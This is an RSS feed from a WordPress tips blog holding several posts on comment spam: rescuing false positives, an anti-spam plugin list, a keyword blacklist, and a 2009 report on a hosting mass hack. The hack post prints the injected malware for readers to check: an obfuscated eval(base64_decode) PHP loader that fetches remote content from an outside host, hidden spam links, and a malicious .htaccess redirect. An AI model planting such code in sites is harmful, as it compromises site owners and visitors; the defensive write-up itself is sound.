<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Digging into WordPress &#187; spam</title>
	<atom:link href="http://digwp.com/tag/spam/feed/" rel="self" type="application/rss+xml" />
	<link>http://digwp.com</link>
	<description>Take your WordPress skills to the next level.</description>
	<lastBuildDate>Thu, 09 Feb 2012 19:03:45 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>That&#8217;s Not Spam: False Positives and Ham</title>
		<link>http://digwp.com/2011/10/ham-hunter/</link>
		<comments>http://digwp.com/2011/10/ham-hunter/#comments</comments>
		<pubDate>Thu, 13 Oct 2011 17:14:23 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Plugins]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[comments]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[tricks]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=5349</guid>
		<description><![CDATA[Everyone loves a good comment. Readers benefit from the shared information and authors appreciate the conversation and feedback. But you gotta keep the spam out. Akismet and other anti-spam plugins do an excellent job of automating the process, but it&#8217;s a good idea to watch out for false positives: legitimate comments marked as spam. Rescuing [...]]]></description>
			<content:encoded><![CDATA[<p>Everyone loves a good comment. Readers benefit from the shared information and authors appreciate the conversation and feedback. But <strong>you gotta keep the spam out</strong>. Akismet and other anti-spam plugins do an excellent job of automating the process, but it&#8217;s a good idea to <strong>watch out for false positives</strong>: legitimate comments marked as spam. Rescuing ham comments from the spam pile <em>promotes healthy comment threads</em> and improves the <em>quality and reputation</em> of your site. In this <abbr title="Digging into WordPress">DiW</abbr> post, we explain how WordPress &amp; Akismet deal with spam, discuss anti-spam strategy, and share some ham-saving tips and tricks.</p>
<p><span id="more-5349"></span></p>
<h3>Know thy comments</h3>
<p>In WordPress, there are three types of responses: comments, pingbacks, and trackbacks. The <strong>status</strong> of any given response is either:</p>
<ul>
<li><strong>approved</strong> &ndash; appearing on your site</li>
<li><strong>spammed</strong> &ndash; flagged as spam</li>
<li><strong>moderated</strong> &ndash; on hold for review</li>
<li><strong>in the trash</strong> &ndash; marked for deletion</li>
</ul>
<p>Theoretically, you&#8217;re going to know about <em>approved</em> comments that appear on your site. Likewise, you&#8217;ll have a chance to review any <em>moderated</em> comments, and nothing makes it to the <em>trash</em> by accident, so you know about those as well. What you don&#8217;t always know about are <em>spam</em> comments flagged as such by a plugin. Some of these are going to be ham, and they can be tricky to spot, especially as the number of spam comments begins to climb.</p>
<h3>Out of the box</h3>
<p>Out of the box, WordPress doesn&#8217;t flag any response as spam, <em>unless</em> you add some phrases to the built-in <a href="http://digwp.com/2010/02/stop-spammers-custom-blacklist/" title="Stop Spammers and Other Scumbags with a Custom Blacklist">comment blacklist</a>. Then, any comments matching any phrases in your blacklist are sent to the spam pile. So the key to preventing <em>blacklist ham</em> (<em>mmmm</em>..) is being absolutely sure that you want <em>nothing to do</em> with any comments mentioning &#8220;baby uggs&#8221; or who knows what.</p>
<h3>Akismet &amp; ham stats</h3>
<p>It&#8217;s easy to <a href="http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/" title="You Don't Need Any Plugins to Stop Comment Spam">stop spam without plugins</a>, but activate Akismet and suddenly you&#8217;ve got greater accuracy, better automation, and some <strong>incredible-looking statistics</strong>. Here are Akismet stats for <strong>false positives</strong> during the last few months here at <a href="http://digwp.com/">DigWP.com</a>:</p>
<p><img src="http://digwp.com/wp-content/blog-images/ham-rescue-01.gif" alt="[ Akismet false positives ]" /></p>
<p>That&#8217;s good news, but don&#8217;t be fooled &ndash; the number of false positives also depends on you, the user. Seeing few false positives is good news if you&#8217;re actively looking for them, otherwise <em>who knows</em> how many ham comments have slipped through. We check for false positives fairly regularly, so the low numbers are great, as is the decreasing number of spam comments:</p>
<p><img src="http://digwp.com/wp-content/blog-images/ham-rescue-02.gif" alt="[ WP Spam Statistics ]" /></p>
<p>This is also a good sign, but it&#8217;s still smart to keep an eye on things and rescue as much ham as possible. Back in the day, I really got into analyzing teh spam &ndash; digging through the spam bin, looking for patterns, checking sources, and rescuing ham comments from the abyss. It&#8217;s fun if you have the time, but these days it&#8217;s better to just <em>get it done</em>..</p>
<h3>Ham-rescue tips</h3>
<p>Now that we&#8217;ve seen how it works, here are some clues for cleaving through large slabs of spam quickly and effectively..</p>
<ul>
<li><strong>Comment text</strong> &ndash; legit comments tend to <em>look</em> real and stand out among the junk</li>
<li><strong>Gravatars</strong> &ndash; usually a good signal of quality, but spammers can haz gravatars too</li>
<li><strong>Link text</strong> &ndash; stupid link text is a <em>huge</em> giveaway, like &#8220;Baby Ugg Boots&#8221; or whatever</li>
<li><strong>Site URL</strong> &ndash; anything more than a domain or first-level subdirectory is probably spam</li>
<li><strong>Excessive links</strong> &ndash; legitimate comments rarely contain more than one or two links</li>
</ul>
<p>Here&#8217;s a screenshot illustrating some of these aspects of spam. Of course, there are plenty more examples waiting for you in Ye Olde Spam Bin!</p>
<p><img class="tweak-post-image" src="http://digwp.com/wp-content/blog-images/ham-rescue-03.gif" alt="[ Random spam comments ]" /><br /><small>Gravatars really stand out, but aren&#8217;t always the ham you&#8217;re looking for</small></p>
<p>Those are the big giveaways, but it&#8217;s generally easier/quicker to scan for <em>ham</em> than spam. That is, rather than looking for evidence of spam, scan for signs of <em>legitimacy</em> and <em>quality</em>. So a good example would be scanning for gravatars &ndash; you&#8217;re not trying to find the grey mystery man icon, you&#8217;re looking for something original, like the flag icon in the previous screenshot. With some repetition, the visual clues sort of gel together and the ham just sort of jumps out at you as sift through the pile.</p>
<h3>Wrapping it up..</h3>
<p>So what did we learn? Spam is the bad stuff, ham is the good stuff. WordPress doesn&#8217;t flag anything as spam by itself unless you add phrases to the comment blacklist. Add a great anti-spam plugin such as Akismet to the mix, and you&#8217;ve made your life easier by automating the process. But if you care about your readers and their feedback, you should periodically scan through your spam comments and rescue any false positives. With some repetition, checking your spam and saving ham comments takes only a few minutes, improves the quality of your site, and keeps commentators happy and ready for more.</p>
<hr />
<p><small>© 2011 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2011/10/ham-hunter/">Permalink</a> | <a href="http://digwp.com/2011/10/ham-hunter/#comments">5 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2011/10/ham-hunter/&title=That&#8217;s Not Spam: False Positives and Ham">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/comments/" rel="tag">comments</a>, <a href="http://digwp.com/tag/spam/" rel="tag">spam</a>, <a href="http://digwp.com/tag/tips/" rel="tag">tips</a>, <a href="http://digwp.com/tag/tricks/" rel="tag">tricks</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2011/10/ham-hunter/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>15 Anti-Spam Plugins for WordPress</title>
		<link>http://digwp.com/2011/04/anti-spam-plugins/</link>
		<comments>http://digwp.com/2011/04/anti-spam-plugins/#comments</comments>
		<pubDate>Mon, 18 Apr 2011 18:43:01 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Plugins]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[comments]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=4018</guid>
		<description><![CDATA[During the recent book update, we needed to make some room for the new WordPress-3.1 content. The book is already over 400 pages and growing. So we have to make some hard decisions about which content is useful but maybe not needed in the book. And, as useful as long lists of anti-spam plugins might [...]]]></description>
			<content:encoded><![CDATA[<p>During the <a href="http://digwp.com/2011/04/version-3-1/" title="Digging into WordPress 3.1 Update">recent book update</a>, we needed to make some room for the new WordPress-3.1 content. <a href="http://digwp.com/" title="Digging into WordPress">The book</a> is already over <em>400 pages</em> and growing. So we have to make some hard decisions about which content is useful but maybe not <em>needed</em> in the book. And, as useful as long lists of anti-spam plugins might be, moving them from the book to the blog seems like a good way to free up some room while keeping the information available. So without further ado, here is a quick list of <strong>15 anti-spam plugins</strong> to help you run a more user-friendly, hassle-free comment system.</p>
<p><span id="more-4018"></span></p>
<dl>
<dt><a href="http://digwp.com/u/95">Akismet</a></dt>
<dd>The <strong>best</strong> anti-spam plugin for WordPress. Bundled with WordPress, Akismet requires a registration key, but is easy to setup and provides excellent &#8220;set-it-and-forget-it&#8221; spam protection for WordPress.</dd>
<dt><a href="http://digwp.com/u/98">bcSpamBlock</a></dt>
<dd>JavaScript-based anti-spam plugin that uses JavaScript to filter out spam quietly and discretely. Users without JavaScript must prove their legitimacy via copy-&amp;-paste CAPTCHA exercise.</dd>
<dt><a href="http://digwp.com/u/563">Comment Spam Stopper</a></dt>
<dd>Blue Anvil&#8217;s anti-spam plugin is CAPTCHA-based and includes JavaScript validation to ensure that required fields in the comment form have been populated with data. To save time, the CAPTCHA field is not displayed when logged into Admin.</dd>
<dt><a href="http://digwp.com/u/108">Comment Spam Trap</a></dt>
<dd>Delivers a double death blow by adding a hidden spam field <em>and</em> an identical but <em>required</em> CAPTCHA field. This simple logic tricks mortal spam bots into revealing themselves and getting blocked. Also blocks trackback spam and optionally sends email notifications of anything it blocks.</dd>
<dt><a href="http://digwp.com/u/110">Cookies for Comments</a></dt>
<dd>Takes a different approach by adding a randomly generated stylesheet <abbr title="Uniform Resource Locator">URL</abbr> to your theme. When that URL is requested by the browser, a cookie is set that is required for the visitor/user to leave a comment. The plugin homepage is kinda thin, so scan the <a href="http://wordpress.org/tags/cookies-for-comments">WordPress Forum</a> to gain more insight about this remarkable plugin.</dd>
<dt><a href="http://digwp.com/u/107">Did You Pass Math?</a></dt>
<dd>Requires the user to solve a simple math problem, like &#8220;what&#8217;s 1+2?&#8221; If they can&#8217;t do it, they&#8217;re considered a bot and the comment is blocked. Simple yet effective anti-spam plugin with nothing to configure &ndash; just set and forget.</dd>
<dt><a href="http://digwp.com/u/197">JSSpamBlock</a></dt>
<dd>Uses JavaScript to filter out spam bots and their filthy comments. Legitimate users prove their identity by entering a given number. Provides fallback for non-JavaScript visitors.</dd>
<dt><a href="http://digwp.com/u/97">Peter&#8217;s Custom Anti-Spam</a></dt>
<dd>A <em>full-featured</em> CAPTCHA-based anti-spam plugin for WordPress. Requires all commentators to identify a random word before comment submission. Words are displayed as images and are completely customizable. Features: random font display, no cookies required, no JavaScript required, auto-generated audio for visually impaired users, selective blocking of trackbacks and pingbacks, and much more. First choice for full-flavored CAPTCHA plugin.</dd>
<dt><a href="http://digwp.com/u/99">reCAPTCHA Plugin</a></dt>
<dd>Displays words from old books that users must correctly interpret. Uses the popular reCAPTCHA service that is used on popular sites such as Twitter, Facebook, and StumbleUpon. Upside: use of this service helps to digitize old books. Downside: requires a key to work.</dd>
<dt><a href="http://digwp.com/u/105">Referrer Bouncer</a></dt>
<dd>Referrer Bouncer provides powerful protection against referrer spam. Easy to use and requires no configuration. As it says, &#8220;It is like the strong silent bouncer at your favorite club.&#8221; The instant cure for the referrer spam that ails you.</dd>
<dt><a href="http://digwp.com/u/104">Simple Trackback Validation</a></dt>
<dd>Solid protection against trackback spam. Trackback validation is done with an IP/referrer check and by checking the trackback page for your URL. Bottom line: an excellent solution for stopping trackback spam. Includes Settings Page for easy configuration, including the option to delete or spam blocked trackbacks.</dd>
<dt><a href="http://digwp.com/u/109">Spam Free</a></dt>
<dd>Spam Free is an &#8220;extremely powerful anti-spam plugin for WordPress that eliminates comment spam, including trackback and pingback spam.&#8221; Spam Free has many features, including no CAPTCHA required for site visitors, a spam-free contact form, and dashboard counter with blocked spam count.</dd>
<dt><a href="http://digwp.com/u/103">Word Verify</a></dt>
<dd>CAPTCHA-based anti-spam plugin that requires the user to enter a simple word in plain text (rather than an image). This makes it much easier for users to get it right the first time, while filtering out lots of automated spam. This plugin is probably best for smaller sites and blogs, as they aren&#8217;t generally targeted by the heavier OCR-capable spambots. Or so the thinking goes. Includes Settings Page for basic configuration.</dd>
<dt><a href="http://digwp.com/u/102">WP-HashCash</a></dt>
<dd>CAPTCHA-based anti-spam plugin that claims to be 100% effective at blocking all spam and no real comments. Also blocks <em>most</em> pingback &amp; trackback spam. Features Settings Page for statistics and configuration. And a huge bonus, WP-HashCash is &#8220;100% standards compliant XHTML 1.1 and works with both jQuery and Prototype.&#8221;</dd>
</dl>
<p>Note that the book now contains an abbreviated version of this list, along with sidebar mentions of some of the other plugins sprinkled throughout the various chapters. Going through this list again for the post, it was great seeing the wide variety of sites and personalities involved in keeping WordPress spam-free. If you know of any good anti-spam plugins that we missed, feel free to share them in the comments.</p>
<hr />
<p><small>© 2011 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2011/04/anti-spam-plugins/">Permalink</a> | <a href="http://digwp.com/2011/04/anti-spam-plugins/#comments">20 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2011/04/anti-spam-plugins/&title=15 Anti-Spam Plugins for WordPress">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/comments/" rel="tag">comments</a>, <a href="http://digwp.com/tag/spam/" rel="tag">spam</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2011/04/anti-spam-plugins/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Stop Spammers and Other Scumbags with a Custom Blacklist</title>
		<link>http://digwp.com/2010/02/stop-spammers-custom-blacklist/</link>
		<comments>http://digwp.com/2010/02/stop-spammers-custom-blacklist/#comments</comments>
		<pubDate>Mon, 15 Feb 2010 09:15:07 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[blacklist]]></category>
		<category><![CDATA[comments]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=1394</guid>
		<description><![CDATA[I usually reserve most of my blacklisting content for Perishable Press, but after posting about using WordPress&#8217; built-in tools to stop comment spam, several DiW readers have asked about a good custom blacklist that may be used for the &#8220;Comment Moderation&#8221; and/or &#8220;Comment Blacklist&#8221; features in the WordPress &#8220;Discussion Settings&#8221; screen. Over the years, I [...]]]></description>
			<content:encoded><![CDATA[<p>I usually reserve most of my <a href="http://perishablepress.com/press/tag/blacklist/" title="Blacklist Archive at Perishable Press">blacklisting content</a> for <a href="http://perishablepress.com/" title="Perishable Press: Digital Design and Dialogue">Perishable Press</a>, but after posting about <a href="http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/" title="You Don’t Need Any Plugins to Stop Comment Spam">using WordPress&rsquo; built-in tools to stop comment spam</a>, several <acronym title="Digging into WordPress">DiW</acronym> readers have asked about a good <strong>custom blacklist</strong> that may be used for the &ldquo;Comment Moderation&rdquo; and/or &ldquo;Comment Blacklist&rdquo; features in the WordPress &ldquo;Discussion Settings&rdquo; screen. Over the years, I have <a href="http://perishablepress.com/press/2007/10/08/wordpress-spam-battle-3-seconds-that-will-save-you-hours-of-time/" title="WordPress Spam Battle: 3 Seconds that will Save You Hours of Time">built up</a> an extensive custom blacklist of terms that has proven quite effective at keeping spam and other garbage out of the comments section, even <a href="http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/" title="You Don’t Need Any Plugins to Stop Comment Spam">without using any anti-spam plugins</a> such as Akismet. It&rsquo;s strictly plug-n-play, and should help protect your site (and reputation) against all sorts of malicious nonsense. So without further ado.. </p>
<p><small>(Caution: the blacklist contains several instances of profanity in order to keep vile language out of your comments.)</small></p>
<p><span id="more-1394"></span></p>
<h3>Custom WordPress Comment Moderation Blacklist</h3>
<p>The idea is simple: copy and paste this custom blacklist into the Comment Moderation field in your WordPress Admin area, which will look something like this:</p>
<p><img src="http://digwp.com/wp-content/blog-images/custom-blacklist.gif" alt="[ The 'Comment Moderation' field in the WordPress 'Discussion Settings' Area ]" /><br /><small>The &lsquo;Comment Moderation&rsquo; field in the WordPress &lsquo;Discussion Settings&rsquo; Area</small></p>
<p>Here is the list, in all of its offensive pharmaceutical, gambling, sex-industry glory (see notes afterward for more information on usage and functionality):</p>
<pre><code>Ð´
Ð¸
Ð¶
Ð§
Ð‘
. ,
? ,
[url=
[/url]
thx
sex
byob
nude
loan
debt
poze
bdsm
soma
visa
hotel
paxil
anime
naked
poker
coolhu
cialis
incest
casino
dating
payday
rental
ambien
holdem
cialis
adipex
booker
youtube
myspace
advicer
flowers
finance
freenet
-online
shemale
meridia
cumshot
trading
adderall
gambling
roulette
top-site
mortgage
pharmacy
dutyfree
ownsthis
duty-free
insurance
ringtones
insurance
blackjack
hair-loss
bllogspot
baccarrat
thorcarlson
jrcreations
credit card
macinstruct
hydrocodone
leading-site
slot-machine
carisoprodol
ottawavalleyag
cyclobenzaprine
discreetordering
aceteminophen
augmentation
enhancement
phentermine
doxycycline
citalopram
cephalaxin
vicoprofen
lorazepam
oxycontin
oxycodone
percocet
propecia
tramadol
propecia
percocet
cymbalta
lunestra
fioricet
lesbian
lexapro
valtrex
titties
xenical
meridia
levitra
vicodin
ephedra
lipitor
breast
cyclen
viagra
valium
hqtube
ultram
clomid
cyclen
vioxx
zolus
pussy
porno
xanax
bitch
penis
pills
male
porn
dick
cock
tits
fuck
shit
gay
ass
gdf
gds</code></pre>
<p>As mentioned, to use this list, just copy/paste into your Comment Moderation field and you&rsquo;re done. Along the way, you may find that additional terms are needed, or that certain terms need removed. Feel free to tweak according to the specific needs of your site. It&rsquo;s all good&nbsp;:)</p>
<p>A couple of notes about this blacklist: </p>
<ul>
<li>The first five or so characters are effective at blocking 99% of nonsensical Russian spam.</li>
<li>The period/comma entries block a recent rash of spam that included these particular strings.</li>
<li>Most of the terms are highly specific to spam comments and should keep false positives at a minimum.</li>
<li>Even so, it is recommended that this custom blacklist be used as a &ldquo;Comment Moderation&rdquo; list and not as a &ldquo;Comment Blacklist&rdquo; in order to retain your ability to screen for false positives.</li>
<li>Additional terms are easily added by appending the list with the character string on its own line.</li>
<li>It would be great to build this blacklist up a little further. If you have your own distinct collection of terms, let me know and I will add them to the list.</li>
</ul>
<p>Any questions/comments/concerns welcome in the comments area.</p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/02/stop-spammers-custom-blacklist/">Permalink</a> | <a href="http://digwp.com/2010/02/stop-spammers-custom-blacklist/#comments">14 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2010/02/stop-spammers-custom-blacklist/&title=Stop Spammers and Other Scumbags with a Custom Blacklist">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/blacklist/" rel="tag">blacklist</a>, <a href="http://digwp.com/tag/comments/" rel="tag">comments</a>, <a href="http://digwp.com/tag/security/" rel="tag">Security</a>, <a href="http://digwp.com/tag/spam/" rel="tag">spam</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2010/02/stop-spammers-custom-blacklist/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Media Temple, WordPress, Mass Hacking</title>
		<link>http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/</link>
		<comments>http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/#comments</comments>
		<pubDate>Thu, 26 Nov 2009 14:47:12 +0000</pubDate>
		<dc:creator>Chris Coyier</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[Links]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=983</guid>
		<description><![CDATA[Update: Media Temple is saying that: They aren&#8217;t 100% sure the cause, but yes, it is their fault. About 10% of all (gs) users were affected. It&#8217;s not WordPress specific, it&#8217;s PHP specific. Definitely change your passwords, definitely don&#8217;t change it back to the original password. A number of people (Michael Torbert, Kyle Brady, Jeffrey [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Update:</strong> Media Temple <a href="http://weblog.mediatemple.net/weblog/2009/11/26/1026-more-faqs/">is saying</a> that:</p>
<ul>
<li>They aren&#8217;t 100% sure the cause, but yes, it is their fault.</li>
<li>About 10% of all (gs) users were affected.</li>
<li>It&#8217;s not WordPress specific, it&#8217;s PHP specific.</li>
<li>Definitely change your passwords, definitely don&#8217;t change it back to the original password.</li>
</ul>
<p>A number of people (<a href="http://michaeltorbert.com/blog/media-temple-hacked/">Michael Torbert</a>, <a href="http://www.inquisitr.com/47860/the-epic-wordpress-mediatemple-failure/">Kyle Brady</a>, <a href="http://jeffreybarke.net/2009/11/media-templewordpress-hacked/">Jeffrey Barke</a>, <a href="http://adrian3.com/2009/11/mediatemplewordpress-hack/">Adrian Hanft</a>) are reporting that their Media Temple sites have been hacked. Digging Into WordPress is on a Media Temple (gs) and we got this email from them late last night:</p>
<blockquote><p>Dear Valued Customer,</p>
<p>This is an automated notice informing you that our system has reset your Server Administrator FTP/SSH password due to suspicious activity observed on your (gs) Grid-Service. Our systems have taken measures to protect your service from any possible future exploits.</p></blockquote>
<p><span id="more-983"></span></p>
<p>When trying to FTP into the site this morning, the access attempt was denied (wrong password), and then blocked. I had to log into the admin, unblock the IP, and reset the password to get in. <strong>In poking around a bit, it doesn&#8217;t look like Digging Into WordPress was affected.</strong> Thank god&#8230;</p>
<p>Some of the facts I&#8217;m seeing around:</p>
<ul>
<li>The attack is not specific to WordPress, although also affects WordPress (Some folks saying their Drupal sites have been hit, or sites just using plain old PHP)</li>
<li>It may be a result of passwords being stored/sent in plain text</li>
<li>Media Temple is mostly quiet on the issue but has been telling folks there has been a huge upsurge in attempted FTP connections to sites. </li>
<li>Some folks are blaming Media Temple, others blaming WordPress</li>
</ul>
<h3>Files to check on your own sites</h3>
<h4>index.php</h4>
<pre><code>&lt;!--5edfgh345--&gt;&lt;?php eval(base64_decode("JGw9Imh0dHA6Ly90b3VycmV2aWV3cy5hc2lhL2xpbmtzMi9saW5rLnBocCI7IGlmIChleHRlbnNpb25fbG9hZGVkKCJjdXJsIikpeyANCiRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRsKTsgJHIgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpO30NCmVsc2V7JHI9aW1wbG9kZSgiIixmaWxlKCRsKSk7fSBwcmludCBAJHI7DQo=")); ?&gt;</code></pre>
<p>Which evaluates to this:</p>
<pre><code>$l="http://tourreviews.asia/links2/link.php"; if (extension_loaded("curl")){
$ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $l); $r = curl_exec($ch); curl_close($ch);}
else{$r=implode("",file($l));} print @$r;</code></pre>
<p>Links are being inserted into the page before the &lt;/html&gt; tag:</p>
<pre><code>&lt;!-- [6eb602d48b8b7f42aba0ce0c31ebe3f5 --&gt;&lt;!-- 9190819521 --&gt;&lt;noscript&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://rg8rhg34h34h.cc/c"&gt;.&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/noscript&gt;&lt;!-- 6eb602d48b8b7f42aba0ce0c31ebe3f5] --&gt;</code></pre>
<h4>.htaccess</h4>
<pre><code>RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]
RewriteRule .* http://you-search.in/in.cgi?4&amp;parameter=sf [R,L]</code></pre>
<h4>.nfs* (unnamed file in root of server)</h4>
<h3>Fixing It</h3>
<p>We weren&#8217;t victims of this attack so far, so please refer to the people linked above for more first-hand advice. However, changing passwords across the board, especially FTP passwords is a must. Also remove all the malicious code shown above from the files. If possible, a fresh WordPress install would probably be a good idea (backup your database and theme first!)</p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/">Permalink</a> | <a href="http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/#comments">27 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/&title=Media Temple, WordPress, Mass Hacking">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/hacking/" rel="tag">hacking</a>, <a href="http://digwp.com/tag/links/" rel="tag">Links</a>, <a href="http://digwp.com/tag/spam/" rel="tag">spam</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/feed/</wfw:commentRss>
		<slash:comments>27</slash:comments>
		</item>
		<item>
		<title>You Don&#8217;t Need Any Plugins to Stop Comment Spam</title>
		<link>http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/</link>
		<comments>http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/#comments</comments>
		<pubDate>Mon, 02 Nov 2009 04:18:58 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Plugins]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[comments]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=858</guid>
		<description><![CDATA[I think one of the biggest WordPress myths is that you need a bunch of plugins to control comment spam. Pretty much all of the posts out there on preventing WordPress comment spam are telling you to install some list of &#8220;must-have&#8221; anti-spam plugins. Some authors insist that you need only a few &#8220;choice&#8221; plugins, [...]]]></description>
			<content:encoded><![CDATA[<p>I think one of the biggest WordPress myths is that you need a bunch of plugins to control comment spam. Pretty much all of the posts out there on preventing WordPress comment spam are telling you to install some list of &ldquo;must-have&rdquo; anti-spam plugins. Some authors insist that you need only a <em>few</em> &ldquo;choice&rdquo; plugins, while others advise you to load up on <em>everything</em> you can get your hands on. Such advice is all well-intentioned, I&rsquo;m sure, but it&rsquo;s all based on the assumption that plugins are actually <em>necessary</em> to control comment spam. <strong>They&rsquo;re not</strong>. WordPress is well-equipped to handle the job all by itself. Plugins may provide <em>additional</em> anti-spam functionality, but they are by no means <em>essential</em> to running a spam-free site.</p>
<p><span id="more-858"></span></p>
<h3>Not even Akismet..</h3>
<p>&ldquo;Sure,&rdquo; you are thinking, &ldquo;you don&rsquo;t need any plugins <em>except</em> for Akismet.&rdquo; I mean, you definitely need <em>that</em> plugin, right? After all, it&rsquo;s <em>included</em> with WordPress, so it&rsquo;s <em>got</em> to be important. <em>Umm</em>, not so much. Yes, there are certain blogs that would probably be wise to take advantage of the additional spam-protection that Akismet might provide, but for 99% of the sites out there, it really isn&rsquo;t necessary.</p>
<h3>WordPress is <strong>strong</strong> enough..</h3>
<p>I think one of the most <em>underrated</em> strengths of WordPress is its built-in anti-spam functionality. With an ounce of knowledge and a pound of forethought, you can configure your WordPress Discussion settings to act as a powerful and effective defense against the evil forces of spam. No plugins required! Let&rsquo;s look at WordPress&rsquo; anti-spam tools and see why they&rsquo;re all you need for a spam-free site..</p>
<dl>
<dt>Default article settings</dt>
<dd>First up, consider your default article settings. If comments <em>aren&rsquo;t</em> enabled, of course you know that you don&rsquo;t need Akismet or any other anti-spam plugin for that matter. If comments <em>are</em> enabled, you can cut out a significant portion of spam by simply disallowing pingbacks and trackbacks. By clicking a single checkbox, all of that crap that comes rolling in as trackback spam will stop. That&rsquo;s a huge step right there, and it will eliminate every plugin that has anything to do with displaying or controlling ping/trackbacks.</dd>
<dd><img src="http://digwp.com/wp-content/blog-images/discussion-settings-08.gif" alt="[ WordPress Default Comment Settings ]" /></dd>
<dt>Comment author must fill out name and e-mail</dt>
<dd>Another smart move, although I think most sites do this one already. By requiring your commentators to at least fill out these two fields (even if it is just dummy data most of the time), you brush off all of those lazy spammers who are picking up the easy ground fruit. Most <em>legitimate</em> commentators don&rsquo;t mind filling in this info because they usually have something they want to say. Lazy spammers, not so much.</dd>
<dt>Users must be registered and logged in to comment</dt>
<dd>If possible given the specific goals of your site, requiring users to log in before commenting is an extremely effective way of preventing comment spam. Although requiring registration will stop a lot of <em>legit</em> comments as well, it is a powerful deterrent to lazy spammers and completely stops automated scripts. Sure, you may still get some trolls stinking up the place, but you would be getting those anyway. Plus, if they&rsquo;re registered, it makes it easier to deal with them.</dd>
<dd><img src="http://digwp.com/wp-content/blog-images/discussion-settings-07.gif" alt="[ WordPress Comment User Settings ]" /></dd>
<dt>Automatically close comments on articles older than XX days</dt>
<dd>This is my favorite WordPress anti-spam feature. For a long time, we needed a plugin to get this done, but now that it is built into WordPress, <em>everyone</em> should be using it. Here at <a href="http://digwp.com/" title="DiW!">Digging into WordPress</a>, we close comments on old posts after 90 days, which seems to be just about the right amount of time. Anything longer than that, and your posts begin to get targeted by spammers and automated spam scripts. Especially if your posts tend to do well and build up a lot of page rank, they will be prime targets for spam as time rolls on.</dd>
<dt>Break comments into pages with XX comments per page</dt>
